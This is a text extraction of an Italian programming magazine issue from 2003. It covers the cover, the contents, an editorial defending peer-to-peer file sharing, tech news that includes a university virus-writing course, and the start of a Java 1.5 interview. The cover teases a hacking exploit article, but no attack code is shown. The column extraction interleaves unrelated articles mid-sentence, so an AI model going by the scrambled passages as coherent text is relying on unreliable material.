Il 0% ha trovato utile questo documento (0 voti)
7 visualizzazioni118 pagine

Io Programmo 71

Caricato da

urajco
Copyright
© All Rights Reserved
Per noi i diritti sui contenuti sono una cosa seria. Se sospetti che questo contenuto sia tuo, rivendicalo qui.
Formati disponibili
Scarica in formato PDF, TXT o leggi online su Scribd
Il 0% ha trovato utile questo documento (0 voti)
7 visualizzazioni118 pagine

Io Programmo 71

Caricato da

urajco
Copyright
© All Rights Reserved
Per noi i diritti sui contenuti sono una cosa seria. Se sospetti che questo contenuto sia tuo, rivendicalo qui.
Formati disponibili
Scarica in formato PDF, TXT o leggi online su Scribd

COP.

IoProg N°71 + libro 11-06-2003 17:52 Pagina 1

HACKER: TRASFORMARE UNA PAGINA


ioProgrammo

WEB IN UN PERICOLOSO FILE ESEGUIBILE!


✔ RIVISTA+LIBRO+2CD
VERSIONE PLUS VERSIONE STANDARD

E15,00 RIVISTA+2CD E7,70


Periodicità mensile • LUGLIO/AGOSTO 2003 • ANNO VII, N.7 (71)
Poste Italiane • Spedizione in a.p. - 45% • art. 2 comma 20/b legge 662/96 - AUT. N. DCDC/033/01/CS/CAL
Anno VII - N° 7 (71)

IL COMPUTER
Il computer ti telefona e legge le e-mail - La televisione in una pagina Web - Le prime nozioni sulla realizzazione di un telecomando per PC

IN ALLEGATO

TI TELEFONA E
LEGGE LE E-MAIL
✔La realizzazione di un client di posta SISTEMA
Integrare l’intellisense
elettronica in Visual Basic anche nelle tue
applicazioni
✔Come far leggere al PC i tuoi
documenti di testo Generare file PDF a partire
da un documento XML
✔L’utilizzo di un componente ActiveX Steganografia:
per pilotare il modem, anche da remoto! l’arte di nascondere
le informazioni
PALMARI
Una sola applicazione
per più dispositivi:
cellulari, palmari e PC
La sincronizzazione dei
dati con SQL Server CE

JAVleA 1.5 ADVANCED


novità
Tutte
Ottimizzare l’accesso alle
basi di dati con JDBC
nell’inter
vista
esclusiva N CORSI
a [Link] di
SU Visual Basic .NET, C++,
MATLAB, C#, JAVA

La televisione
IOPL71
IOPL71

in una pagina Web? 2 PUNTI 2 PUNTI


All’interno scopri come
partecipare e vincere!
IOPL71

IOPL71
IOPL71

IOPL71

Ora è possibile con Windows Media Player 9 SDK


2 PUNTI 2 PUNTI 2 PUNTI 2 PUNTI

Elettronica & PC Database


Le prime nozioni sulla Integrazione tra
EDIZIONI MASTER

realizzazione di un DB e Flash MX?


telecomando per PC Facile con Flash Remoting!
[Link]

LIGHTWAVE: LE TEXTURE IN AMBIENTI RENDERIZZATI ioProgrammo (Plus) Anno VII - N° 7 (71) • E 15,00
004 editor 11-06-2003 17:18 Pagina 1

Contents
Anno VII - n. 7 (71) Luglio/Agosto 2003 G G G G G G G G G G G G G G G G

GGGG Siete dei pirati! News 6


Consentitemi una digressione: succede spesso che a Intervista 10
Napoli si passi con il rosso. Succede anche che quasi tutti i G Una conversazione con Joshua Bloch
motociclisti non indossino il casco. La mia personale (e Software sul CD-Rom 15
non so quanto fondata) opinione è che i napoletani abbia-
no sempre subito le leggi da parte di uno stato straniero, e Soluzioni 28
invasore. Per loro le leggi, almeno quelle scritte nei codici, G Steganografia: tecniche e algoritmi
erano (sono?) diretta emanazione di uno stato che non li Teoria & Tecnica 32
rappresentava e che tentava semplicemente di sfruttarli e G TAPI Mail Checker: il PC ci telefona! 32
soggiogarli. G La TV in una pagina WEB? Ora è possibile! 40
Vengo al punto: scambiarsi versioni mp3 e divx di mate- G Flash Remoting: istruzioni per l’uso 46
riale coperto da copyright è reato? Viste le attuali leggi, Exploit 54
sembrerebbe proprio di si. Questo vuol dire che i milioni G Le insidie delle pagine Web
di utenti che quotidianamente utilizzano i sistemi di peer
to peer sono dei delinquenti, o giù di lì. Io sono un delin- Biblioteca 56
quente, probabilmente anche voi che leggete siete dei Tips&Tricks 57
delinquenti. Non vi turba? Dovrebbe. Elettronica 63
Dovremmo essere in un paese democratico. Un paese, G Un telecomando per pilotare il PC
cioè, in cui le leggi sono espressione della volontà popola- Sistema 67
re. Questa strano paese (e con lui buona parte del mondo G L’intellisense nelle tue applicazioni 67
occidentale) vuole punire il novanta percento dei suoi cit- G Da XML a PDF, DOC, RTF, TXT 71
tadini, per salvaguardare gli interessi di… quanti? Quanti
possono essere quelli che si avvantaggiano dei diritti d’au-
Palmari 76
G Applicazioni J2EE multicanale
tore? Non la maggior parte dei musicisti, che si guadagna
da vivere sudando nei concerti e non certo con le briciole I corsi di ioProgrammo 82
che la gestione suicida delle Major prevede per loro. Non G Java • Serene variabili: dai del “tu” a Java 82
gli autori di cinema, in via d’estinzione in Italia, schiaccia- G [Link] • Controlli standard WindowsForms 87
ti sicuramente dalla opprimente presenza di spazzatura G C# • La gerarchia delle classi e degli oggetti 92
americana, più che dai cittadini (si, cittadini) che, pagando G C++ • Lo streaming nella gestione dei File 96
lautamente le loro connessioni, decidono di guardare sul G MATLAB • In volo sull’Italia 100
loro PC un film. G VB • Il Codice Fiscale sul Web (II parte) 105
Se uno stato di diritto ha la sua ragion d’essere nel difen- Multimedia 110
dere i più deboli contro i più forti, le attuali leggi sono un G Lightwave • Ambienti renderizzati (III parte)
paradosso.
Advanced Edition 116
P.S. Mi sono permesso di citare un po’ di malcostume napo- G Mobilità dei Dati con Sql Server CE 116

letano, giusto perché sono nato a Napoli anch’io! G Ottimizzare l’accesso ai database con JDBC 122

raffaele@[Link] InBox 126


Il Sito del mese 128
Elenco software 129

Tel. 02 8321612 - Fax 02 8321754 Milano


e-mail advertising@[Link] Assistenza tecnica: ioprogrammo@[Link]
Agenti Vendita Serenella Scarpa, Cornelio Morari Stampa: Elcograf Industria Grafica - Via Nazionale, 14 Beverate
Anno VII - [Link] 7 (71) - Luglio/Agosto 2003 - Periodicità: Mensile Segreteria Ufficio Vendite Daisy Zonato
Reg. Trib. di CS al [Link] 593 del 11 Febbraio 1997 Servizio Abbonati:
Cod. ISSN 1128-594X EDITORE Edizioni Master S.r.l. tel.02 8321482
E-mail: ioprogrammo@[Link] Sede di Milano: Via Cesare Correnti, 1 - 20123 Milano @ e-mail: servizioabbonati@[Link]
[Link] Tel. 02 8321482 - Fax 02 8321699
Sede di Rende: [Link] Lecco, zona industriale - 87030 Rende (CS)
Direttore Editoriale Massimo Sesti di Brivio (LC)
Amministratore Unico: Massimo Sesti
Direttore Responsabile Romina Sesti Stampa CD-Rom: Disctronics Italia S.p.a. Via G. Rossini, 4
Responsabile Marketing Antonio Meduri ABBONAMENTO E ARRETRATI Tribiano (MI)
Responsabile Editoriale Gianmarco Bruni Italia: Costo abbonamento annuale base (11 numeri) E 59,00 scon- Distributore esclusivo per l’Italia: Parrini & C S.p.A.
Editor Gianfranco Forlino to 30% sul prezzo di copertina pari a E 84,70. Via Vitorchiano, 81 - Roma
Coordinamento redazionale Raffaele del Monaco Costo abbonamento Plus (11 numeri + 6 libri) E 89,90, sconto30%
Redazione Antonio Pasqua, Thomas Zaffino sul prezzo di copertina pari a E 128,50. Finito di stampare nel mese di Giugno 2003
Collaboratori M. Autiero, M.L. Belmonte, M. Bigatti, L. Buono, Estero: Costo abbonamento annuale (11 numeri) E 169,40, costo
M. Canducci, M. Casario, M. Del Gobbo, F. Grimaldi, abbonamento Plus (11 numeri + 6 libri) E 257,00. Nessuna parte della rivista può essere in alcun modo
R. Lombardo, A. Margarese, A. Marroccelli, V. Muraglia, Costo arretrati (a copia): il doppio del prezzo di copertina + E 5,32 riprodotta senza autorizzazione scritta della Edizioni Master.
F. Mestrone, C. Pelliccia, P. Perrotta, F. Sara, G.D. Senatore, spese (spedizione con corriere). Prima di inviare i pagamenti, verifi- Manoscritti e foto originali, anche se non pubblicati, non si
E. Tavolaro, F. Vaccaro, M. Valeri. care la disponibilità delle copie arretrate allo 028321482. restituiscono. Edizioni Master non si assume alcuna re-
Segreteria di Redazione Veronica Longo La richiesta contenente i Vs. dati anagrafici e il nome della rivista, sponsabilità per eventuali errori od omissioni di qualunque
dovrà essere inviata via fax allo 028321699, oppure via posta a EDI- tipo. Nomi e marchi protetti sono citati senza indicare i relativi
REALIZZAZIONE GRAFICA CROMATIKA S.r.l. ZIONI MASTER via Cesare Correnti, 1 - 20123 Milano, dopo avere brevetti. Edizioni Master non sarà in alcun caso responsabile
Responsabile grafico: Paolo Cristiano effettuato il pagamento, secondo le modalità di seguito elencate: per i danni diretti e/o indiretti derivanti dall’utilizzo dei pro-
Coordinamento tecnico: Giancarlo Sicilia grammi contenuti nel CD-Rom e/o per eventuali anomalie
Impaginazione elettronica: Aurelio Monaco • cc/p n.16821878 o vaglia postale (inviando copia della ricevuta del degli stessi. Nessuna responsabilità è, inoltre, assunta dalla
versamento insieme alla richiesta); Edizioni Master per danni o altro derivanti da virus informatici
“Rispettare l’uomo e l’ambiente in cui esso vive e lavora è una parte non riconosciuti dagli antivirus ufficiali all’atto della masteriz-
di tutto ciò che facciamo e di ogni decisione che prendiamo per assicu- • assegno bancario non trasferibile (da inviarsi in busta chiusa zazione del supporto.
rare che le nostre operazioni siano basate sul continuo miglioramento
delle performance ambientali e sulla prevenzione dell’inquinamento” insieme alla richiesta);

• carta di credito, circuito VISA, CARTASI’, MASTERCARD/EURO-


Certificato UNI EN ISO 14001 CARD, (inviando la Vs. autorizzazione, il numero della carta, la L’Universo Tecnologico
N. 9191 CRMT data di scadenza e la Vs. sottoscrizione insieme alla richiesta). [Link]

Realizzazione Multimediale SET S.r.l. SI PREGA DI UTILIZZARE IL MODULO RICHIESTA ABBONAMENTO


Coordinamento Tecnico Piero Mannelli POSTO NELLE PAGINE INTERNE DELLA RIVISTA. L’abbonamento Edizioni Master edita:
Ideazione Grafica Gianluca Carbone verrà attivato sul primo numero utile, successivo alla data della Idea Web, Go!OnLine Internet Magazine, Win Magazine, PC Fun
Realizzazione CD-Rom Paolo Iacona richiesta. extreme, Quale Computer, DVD Magazine, Office Magazine,
ioProgrammo, Linux Magazine, Softline Software World, <tag/>,
PUBBLICITÀ Edizioni Master S.r.l. Sostituzioni: Inviare il CD-Rom difettoso in busta chiusa a: MPC, Discovery DVD, Computer Games Gold, inDVD, I Fantastici
Via Cesare Correnti, 1 - 20123 Milano Edizioni Master Servizio Clienti - Via Cesari Correnti, 1 - 20123 CD-Rom, PC VideoGuide, I Corsi di Win Magazine, Le Collection.
006-009 news 4-06-2003 10:22 Pagina 6

N E W S G G G G G G G G G G G G G G G G G G G G

News La mossa potrebbe inoltre permettere


di accelerare lo sviluppo del database
IBM presenta i nuovi
tool di Rational
Software
A spiranti hacker di tutto il
mondo: affrettatevi! Il prossimo
autunno inizierà il primo corso
MySQL, al punto che i miglioramenti
previsti in quattro anni sarebbero ora
disponibili già nel 2005. I dettagli
______________________________________________________ universitario specifico per la dell’accordo non sono ancora stati
costruzione di nuovi virus. chiariti, si sa che MySQL potrà
Due nuovi prodotti per
“Computer Viruses and Malware” distribuire il database SAP DB,
accelerare lo sviluppo
questo il nome scelto per il nuovo rinominandolo e con licenza GPL,
di applicazioni
corso dalla audace Università di mentre SAP ha acquisiti i diritti per lo
Calgary che con questa mossa si è sfruttamento commerciale delle

A l "Software Symposium" di
Monaco di Baviera IBM ha
presentato i primi frutti della recente
attirata gli strali da una larga fetta
della comunità scientifica. La paura è
tecnologie MySQL. Lo scopo è
insomma quello di prendere il meglio
che nasca una nuova generazione di delle due aziende e trarne il maggior
acquisizione di Rational: Rational
hacker e che, il già affollato panorama profitto possibile.
Rapid Developer e Rational XDE
di virus, si popoli di nuovi e più La notizia diventa ancora più
Tester. Il primo è uno strumento RAD
aggressivi soggetti. A poco sono valse interessante se si pensa alla pressione
di alto livello (per l’occasione IBM ha
le spiegazioni dell’Università che ha cui saranno sottoposti gli attuali
coniato l’acronimo ARAD:
cercato di mettere le mani avanti dominatori del mercato DB: IBM,
“Architected” Rapid Application
spiegando che buona parte del corso Microsoft e Oracle potrebbero avere
Development Solution) che ha
sarà dedicata all’etica e ai codici di ora un reale nuovo concorrente. La
l’obiettivo di aiutare gli sviluppatori a
comportante di un saggio compagnia tedesca SAP è leader nel
costruire applicazioni business su
sviluppatore. settore del software aziendale e gode
piattaforma J2EE, attraverso un
Il motivo per cui un’università di un grosso seguito anche in Italia,
ambiente visuale che “isola” i
dovrebbe insegnare la parte oscura specialmente presso le grandi
progettisti dai più complessi dettagli
della programmazione lo ha dato aziende. Per venire in contro ai
implementativi, oltre a permettere ai
John Aycock, il docente del corso, il bisogni delle piccole e medie aziende,
programmatori di raggiungere più
quale sostiene che quando i suoi SAP ha da qualche anno deciso di
velocemente gli obiettivi prefissati
studenti saranno chiamati a costruire integrare un SAP DB, un database
grazie alla generazione automatica di
software di difesa contro i virus open source, in alcuni suoi prodotti,
codice. Questa caratteristica, oltre a
sapranno ragionare con la mente con lo scopo di non costringere i
semplificare la vita degli sviluppatori,
dell’hacker, e saranno dunque capaci clienti ad acquistare un DB da terze
garantisce anche una considerevole
di costruire software migliori e più parti.
robustezza nell’applicazione finale.
sicuri. I piani sono di sostituire SAP DB con
L’altro prodotto presentato, Rational
Insomma, l’idea è che per costruire MySQL, una volta che quest’ultimo
XDE Tester, si presenta come un
un antivirus, bisogna prima saper sia stato migliorato, anche alla luce
poderoso banco di prova per client
costruire un virus… delle tecnologie DB sviluppate da
Java e applicazioni Web-based.
SAP.
Costruito intorno al nucleo di Eclipse, [Link]
XDE Tester offre agli sviluppatori un [Link]
completo ambiente per lo sviluppo ed
il test delle applicazioni. SAP entra nei
[Link] database Open PlayStation 2:
Source il supercomputer
______________________________________________________ per la scienza
Un corso Un accordo con MySQL ha
______________________________________________________

universitario insegna scosso il mondo dei DB Il centro di ricerca NCSA ha


a costruire virus realizzato un cluster di PS2
______________________________________________________
ottenendo prestazioni
L’università di Calgary è al
centro delle polemiche per
L a piccola compagnia svedese
MySQL ha realizzato un grosso
colpo che potrebbe lanciare il suo
eccezionali

l’attivazione di un corso per


aspiranti hacker
apprezzato DB sul mercato
enterprise. I l celebre centro di ricerca americano
ha progettato e costruito un cluster

6 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
006-009 news 4-06-2003 10:22 Pagina 7

E E E E E E E E E E E E E E E E E E E E N E W S

costituito da settanta PlayStation 2 in uno sforzo per portare il grid


Borland avvicina .NET
della Sony, ottenendo un
supercomputer Linux le cui
computing alla portata di tutti con la
prossima generazione di Playstation.
e J2EE
______________________________________________________
prestazioni lo collocano tra i primi
[Link]
500 computer al mondo. Le unità Una nuova tecnologia-ponte
sono state collegate grazie a due semplifica l’interazione fra
i due ambienti
switch Hewlett-Packard 2650
Intel salta la
Procurve, ed in termini
prossima generazione
computazionali è stata raggiunta una
potenza di mezzo trilione di
di tool litografici M olti sviluppatori sono
impegnati nello sforzo di
______________________________________________________
operazioni al secondo, equivalenti a colmare il gap esistente fra le due
0,5 teraflop. Il gigante dei chip piattaforme di programmazione che
ha informato i suoi fornitori dominano l’attuale scena della
che non comprerà sviluppo business: .NET e J2EE.
le macchine con tecnologia Borland offre una nuova soluzione
a 157 nanometri che consente di sviluppare
applicazioni .NET perfettamente

I ntel ha annunciato alle aziende che


forniscono gli strumenti di
produzione per i chip che non ha
integrate con applicazioni J2EE e
Corba.

intenzione di passare alla prossima


generazione di tool litografici a 157
nanometri: l’intenzione è di passare
direttamente dall’attuale tecnologia a
193 nanometri ai tool EUV (Extreme
Ultra-Violet), che offriranno canali di
dimensioni ancora inferiori ai 157
nanometri.

Un risultato davvero notevole, anche


paragonato a quello che è ritenuto il Janeva, questo il nome del nuovo
più potente sistema esistente: Earth tool, aiuta gli sviluppatori a creare
Simulator di NEC, che ha una velocità applicazione per la nuovissima
di ottanta volte superiore a quella del piattaforma Microsoft senza la
cluster di playstation. necessità di cambiare il back-end.
Il software utilizzato si basa Il tool può anche funzionare al
essenzialmente sul Sony Linux Kit, Le macchine EUV sono ancora in fase contrario, ovverosia permettendo la
distribuito dalla stessa Sony: un di sviluppo e ci vorranno ancora costruzione di applicazione J2EE e
porting del kernel 2.2.1 specifico per alcuni anni prima di arrivare alla CORBA basate su sistemi .NET,
la CPU della Playstation, l’Emotion produzione effettiva. La cosa soluzione questa che può tornare utile
Engine, basato su una vecchia preoccupa non poco ASML, uno dei nelle aziende che hanno già investito
versione di Red Hat per PC. principali fornitori di Intel, il quale molto in strumenti di sviluppo Java e
L’esperimento, che si può definire spera di vendere i suoi strumenti per che vogliono (o devono) utilizzare
perfettamente riuscito, era teso a la produzione di chip a 157 nanometri componenti .NET.
verificare la possibilità di utilizzare ad altre aziende. Janeva realizza la cooperazione fra le
tecnologie “di massa” e a basso costo L’origine della decisione di Intel di due piattaforme utilizzando il
per applicazioni scientifiche. attendere la successiva tecnologia protocollo Inter-ORB Protocol (IIOP)
C’è da aggiungere che gli scienziati EUV sarebbe da ricercarsi nei forti che ha mostrato prestazioni
dell’NCSA non sono stati gli unici ad investimenti compiuti dalla decisamente superiori rispetto al
avere l’idea di sfruttare la PlayStation compagnia nel campo degli Exstreme protocollo SOAP utilizzato dai Web
per il distributed computing: anche Ultra Violet: importanti sforzi Services, la tecnologia principe
Sony sta da tempo sperimentando il compiuti insieme ad ASML e ad altre impiegata finora per il dialogo fra
suo gioiello, sempre con Linux aziende, che non avranno una mondi diversi.
installato, in una configurazione a ricaduta effettiva nella produzione I linguaggi supportati da Janeva sono
griglia. prima del 2005. tutti quelli compatibili con il
E per il futuro, IBM e Sony sono unite [Link] Common Language Runtime di

h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 7
006-009 news 4-06-2003 10:23 Pagina 8

N E W S G G G G G G G G G G G G G G G G G G G G

Microsoft quindi: C# J# [Link] e rispetto a quelli dei server basati su Intel presenta
Visual C++ .NET. processori concorrenti a 64 bit. una libreria (Math
Janeva offre il vantaggio di aderire [Link]/it-it/ Kernel Library)
completamente agli standard per applicazioni
esistenti, sia quelli dettati da matematiche
Microsoft per il .NET Framework sia W3C propone ______________________________________________________
le specifiche J2EE imposte da Sun, sia il nuovo standard La nuova libreria offre
infine le specifiche per CORBA Soap 1.2 prestazioni da brivido su
dell’Object Management Group ______________________________________________________
processori con tecnologia
(OMG).
La versione finale è pronta Hyper Threading
[Link]
per essere rilasciata

Opteron segna nuovi S OAP è il protocollo che sta alla I ntel ha annunciato la nuova Math
Kernel Library 6.0, una libreria di

record base dei Web Services: la sua


semplicità e la possibilità di essere
programmazione disegnata
esplicitamente per applicazioni di
______________________________________________________
facilmente integrato in qualsiasi simulazione e analisi che facciano uso
SPEC certifica la bontà piattaforma ne hanno fatto la stella intensivo di calcoli matematici.
dei nuovi processori AMD del mondo della programmazione Le nuove librerie sono ottimizzate per
negli ultimi anni: è dal 2000 che lavorare al meglio con processori

G razie ai benchmark di SPEC,


AMD proietta i suo processori
nell’olimpo dei più veloci per sistemi
l’XML Working Group del W3C sta
lavorando alle nuove specifiche e,
dopo anni di lavoro (e di discussioni
dell’ultima generazione, nella
fattispecie: Pentium 4, Xeon, Itanium
2 e Centrino.
a due e quattro processori. che hanno coinvolto sviluppatori di Intel Math Kernel Library 6.0 è una
tutto il mondo) siamo giunti alla raccolta di funzioni riutilizzabili di
stretta finale. La proposta di algebra lineare, trasformate di Fourier
specifiche per il Simple Object Access (Fast Fourier Transform) e funzioni di
Protocol 1.2 è stata pubblicara in un matematica vettoriale, con un'API
documento con una struttura basata (Application Programming Interface)
su due parti essenziali: il Messaging comune.
Framework e Adjunct. Il Messaging La Math Kernel Library 6.0 consente
Framework implementa tutto quanto dunque agli sviluppatori di scrivere il
è necessario definire nella costruzione codice una sola volta e di ottenere
e nello scambio di messaggi, mente vantaggi prestazionali con una vasta
Adjunct include tutte le regole per le gamma di sistemi basati su
Architettura Intel.
La libreria è stata concepita per le
Ben 57 risultati pubblicati da SPEC applicazioni ad uso intensivo di
confermano l’assoluta leadership dei calcoli, ad esempio la modellazione
processori di classe Opteron rispetto finanziaria e l'analisi dei rilevamenti
ai concorrenti. "SPEC conferma geologici. Jonathan Khazam, General
quanto abbiamo sempre sostenuto", Manager della Software Products
ha dichiarato Marty Seyer, Vice Division di Intel, in una recente
President e General Manager di intervista ha affermato:
Microprocessor Business Unit di
AMD. "Il processore AMD Opteron "Intel Math Kernel Library 6.0 è un
offre prestazioni senza paragoni sui componente chiave del portafoglio di tool
server 2P e 4P, e fornisce ai nostri chiamate di procedure remote. Intel, che offre prestazioni eccezionali per
clienti eccezionali livelli di prestazioni Il gruppo di lavoro che ha prodotto il le applicazioni scientifiche, finanziarie e
a 64 bit, salvaguardando, nel documento sostiene di aver risolto di engineering.
contempo, quanto già investito nelle oltre 400 problemi, 150 dei quali In questa libreria sono state aggiunte
applicazioni e nei programmi a 32 legati direttamente a SOAP 1.1. nuove funzionalità importanti, ad
bit". Durante i test SPEC, considerati L’XML Protocol Working Group esempio le trasformate di Fourier
tra i più autorevoli per quanto annovera fra i suoi membri il fior multidimensionali per l'elaborazione dei
concerne il comparto dei server, il fiore dell’aristocrazia informatica: segnali e le funzioni a elevate prestazioni
processore AMD Opteron ha IBM, Sun Microsystems, Microsoft, di generazione di numeri casuali, utili
raggiunto punteggi superiori del Oracle, AT&T, BEA Systems, Iona per varie applicazioni di analisi".
144% rispetto ai processori con- Technologies ed altri ancora.
correnti a 32 bit e superiori del 43% [Link] [Link]

8 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
006-009 news 31-05-2003 9:50 Pagina 9

E E E E E E E E E E E E E E N E W S H A R D W A R E

MYPAL A620, il più Play di cui è dotato MyPal A620, inoltre, utenti che hanno la necessità di mantenere
piccolo pocket PC con consente la visualizzazione di video con un le performance più elevate in modo che cia-
slot compact flash frame rate di 60 fotogrammi al secondo, as- scun utilizzatore possa beneficiare piena-
integrato sicurando una fluidità delle immagini sen- mente dei vantaggi del protocollo utilizza-
______________________________________________________ za precedenti per dispositivi di questo tipo. to" ha aggiunto Maurizio Negri.
[Link] [Link]
MyPal A620 è dotato di
funzionalità avanzate, tra cui
SmartKeeper, un sistema di
U.S. Robotics 802.11g BenQ DC4500:
backup intelligente esclusivo
Wireless Turbo foto perfette in ogni
ASUS che procede al
______________________________________________________ condizione
______________________________________________________
salvataggio dei dati quando Il nuovo dispositivo wireless
la batteria sta per esaurirsi. dotato di "Accelerator BenQ presenta una nuova
Technology" permette di fotocamera digitale di alta
inviare e ricevere dati e qualità che consente di
C aratterizzato da dimensioni estrema-
mente contenute (125x76,6x13,3 mm)
ed un peso di appena 141 grammi, il nuovo
informazioni con velocità
fino a 100 Mbps.
realizzare fotografie
incantevoli ovunque.
PDA di ASUS è il più piccolo e leggero
Pocket PC integrante uno slot per Compact
Flash (CF) di tipo II. Grazie a questa carat-
teristica, MyPal A620 può essere dotato di
L a nuova gamma di soluzioni 802.11g
Wireless Turbo, offre agli utenti le mas-
sime prestazioni a oggi disponibili nell’am-
L a nuova fotocamera BenQ fornisce foto-
grafie di qualità superba sia su schermo
che in proiezione o stampa. Questa qualità
CF card Wi-Fi e Bluetooth e può, quindi, bito dei dispositivi wireless. La linea U.S. si accompagna a una facilità d'uso e un rap-
essere collegato senza fili a reti aziendali, Robotics 802.11g Wireless Turbo include un porto prezzo/prestazioni eccezionali. La
notebook, PC desktop e telefoni cellulari. router, un access point multifunzione, una tecnologia di questa fotocamera digitale
La presenza di uno slot CF, inoltre, consen- PC card e un PCI adapter, e si basa sull'e- raggiunge veramente un elevatissimo livel-
te di usufruire dei diversi add-on ed acces- sclusiva “Accelerator Technology" che lo di qualità. Il grande LCD mono consente
sori disponibili sul mercato in formato incrementa le prestazioni di rete fino a 100 di visualizzare chiaramente le immagini,
Compact Flash per trasformare il Pocket Mbps(1) su un singolo canale. "Il punto di mentre semplici icone indicano con chiarez-
PC, ad esempio, in navigatore satellitare forza della nuova linea di prodotti U.S. za le funzioni disponibili e rendono estre-
GPS, telefono GPRS, fotocamera digitale, Robotics 802.11g Wireless Turbo risiede nel- mamente semplice la scelta di quella più
lettore MP3 o radio FM. Tra i primissimi adatta. Inoltre, una modalità automatica
PDA ad essere equipaggiato con il nuovo permette di ottenere foto perfette evitando
processore Intel PXA255 a 400 MHz, MyPal scelte casuali. E tutto questo senza rinuncia-
A620 è oggi uno dei Pocket PC più potenti re alle funzioni avanzate che ci si aspetta da
e veloci presenti sul mercato e, grazie a 64
MB di memoria SDRAM ed a 32 MB di
Flash ROM, consente l'archiviazione di
un’ingente quantità di dati, nonché l'instal-
lazione di numerosi applicativi. Da sottoli-
neare anche le eccellenti doti della sezione
video, che vanta un display a colori sensibi- l’esclusiva tecnologia “Accelerator” che
le al tocco TFT da 3,5” di tipo transflective incrementa le performance dello standard
con una risoluzione di 240x320 pixel, in 802.11g da 54 Mbps fino a 100 Mbps", ha
grado di garantire una particolare brillan- dichiarato Maurizio Negri, Amministratore
tezza e un’elevata qualità d’immagine. La Delegato di U.S. Robotics. “La nuova una fotocamera di alta qualità. Con uno
speciale tecnologia ASUS Smoothly Video gamma di prodotti wireless di U.S. zoom ottico 3x e digitale 3x, 5 modalità di
Robotics raggiunge una velocità di throu- bilanciamento del bianco e 3 modalità di
ghput dati pressoché doppia rispetto a misurazione,BenQ introduce una speciale
quella di altri prodotti 802.11g. I nuovi modalità Night Scene per rendere più chia-
dispositivi permettono agli utenti di inviare re e vibranti le foto notturne. La DC4500 si
e ricevere informazioni con velocità, sicu- collega facilmente a una stampante e offre
rezza e compatibilità ad oggi senza eguali”. un'eccellente qualità di stampa. La risolu-
La linea 802.11g Wireless Turbo è totalmen- zione estremamente alta, fino a 2848x2136
te compatibile con tutti i dispositivi wire- pone questa fotocamera all'avanguardia
less 802.11g a 54 Mbps e 802.11b a 22 e 11 rispetto alla concorrenza. È compatta e una
Mbps. "La compatibilità con 802.11g e vera integrazione tra qualità, eleganza e
802.11b permette a ciascun dispositivo di puro divertimento di scattare fotografie
connettersi alla più alta velocità possibile: è ovunque.
quindi la soluzione ideale per reti con più [Link].

h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 9
010-013 Intervista 5-06-2003 16:21 Pagina 10

I n d i r e t t a d a S U N G G G G G G G G G G G G G

✓ Le nuove caratteristiche che semplificano lo sviluppo


Java 2 Standard
Edition 1.5
Una conversazione con Joshua Bloch per conoscere i vantaggi e
le difficoltà che comporterà il passaggio alla prossima generazione di Java.
Intervista di Janice J. Heiss

D
T
ra gli sviluppatori c’è molta cu- Nell’ambito del progetto “Ti- grammatori? In che modo dovranno
riosità sulla nuova versione di ger” si stanno apportando nu- cambiare il loro stile?
Java (J2SE 1.5), la cui prima beta merosi miglioramenti alla piattafor-

R
è prevista per la fine del 2003. Per capi- ma J2SE, tutti tesi a rendere i pro- In realtà, spero sinceramente che
re meglio quali saranno le novità della grammi più chiari, più corti, più robu- nessun cambiamento sarà parti-
nuova versione, la persona più indica- sti e più semplici da sviluppare, senza colarmente difficile per gli sviluppato-
ta è Joshua Bloch (senior staff engineer sacrificare la compatibilità. Puoi spie- ri. Se proprio devo scegliere quello che
di Sun Microsystems), uno dei perso- garci in perché sarà più facile lavora- può incidere maggiormente nelle abi-
naggi di spicco del Core Java Platform re con J2SE 1.5? tudini degli sviluppatori, potrebbe es-
Group che ha all’attivo lo sviluppo del sere l’introduzione dei generics. Con le

R
package [Link], oltre alla collabora- Le nuove caratteristiche del lin- nuove specifiche sarà infatti necessario
zione in molte altre parti della piat- guaggio hanno una cosa in comu- abituarsi a fornire alcune informazioni
taforma. ne: prendono alcuni costrutti idiomati- addizionali nelle dichiarazioni. Invece
Autore di numerosi articoli, Bloch ha ci usati generalmente dai programma- di dire semplicemente
anche scritto il libro “Effective Java tori e ne forniscono un supporto lin-
Programming Language Guide” vinci- guistico. In altre parole, è stata sposta- List words = new ArrayList();

tore del premi Jolt. L’abbiamo incon- ta dal programmatore al compilatore il


trato per guardare nel futuro della pro- compito dello scrivere il cosiddetto Dovremo scrivere:
grammazione Java. “boilerplate code”, quelle porzioni di
codice che si ripetono sempre immuta- List<String> words = new

te da un programma all’altro e che ArrayList<String>();


Joshua Bloch è Senior
Staff Engineer all’in- hanno l’unico scopo di introdurre erro-
terno della divisione ri… Grazie al fatto che il compilatore, a Il lato buono della cosa è che, se provi
Java Software di Sun
Microsistem, dove la-
differenza del programmatore, non ad inserire qualcosa che non sia una
vora con la qualifica commette errori, il codice prodotto ri- stringa, ti puoi accorgere dell’errore a
di architect nel Java Language Group.
sulta essere meno soggetto a bug. C’è tempo di compilazione e risolvere il
Tra i suoi più importanti contributi si
segnalano il Collections Framework ed anche da dire che, più ancora dei sin- problema. Senza i generics, ti accorge-
il package [Link]. goli miglioramenti, è interessante valu- resti del bug solo nel momento in cui il
Nella vita precedente, Josh è stato Se-
nior Systems Designer alla Transarc tare il quadro complessivo delle inno- tuo più importante cliente chiama il vi-
Corporation (Pittsburgh, Pennsylva- vazioni: tutte le nuove caratteristiche cepresidente della tua società, per co-
nia), dove ha ideato e implementato
numerose parti del sistema Encina de- sono state ideate in armonia le une con municargli che l’applicazione su cui si
dicato alle transazioni distribuite. le altre e il risultato è un forte miglio- fonda il suo business è appena andata
Ha inoltre lavorato in posizioni di rilie-
vo presso importanti centri di ricerca
ramento dell’espressività e della robu- in crash con una ClassCastException!
(Bell Labs e IBM Research). stezza del linguaggio. Un altro aspetto positivo è che non è
Josh ha ottenuto un Ph.F. in computer
più necessario effettuare il cast quando
science presso la Carnegie-Mellon Uni-

D
versity. Quali cambiamenti saranno più estraiamo un elemento da una collec-
difficili da “digerire” per i pro- tion.
,

10 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
010-013 Intervista 4-06-2003 10:23 Pagina 11

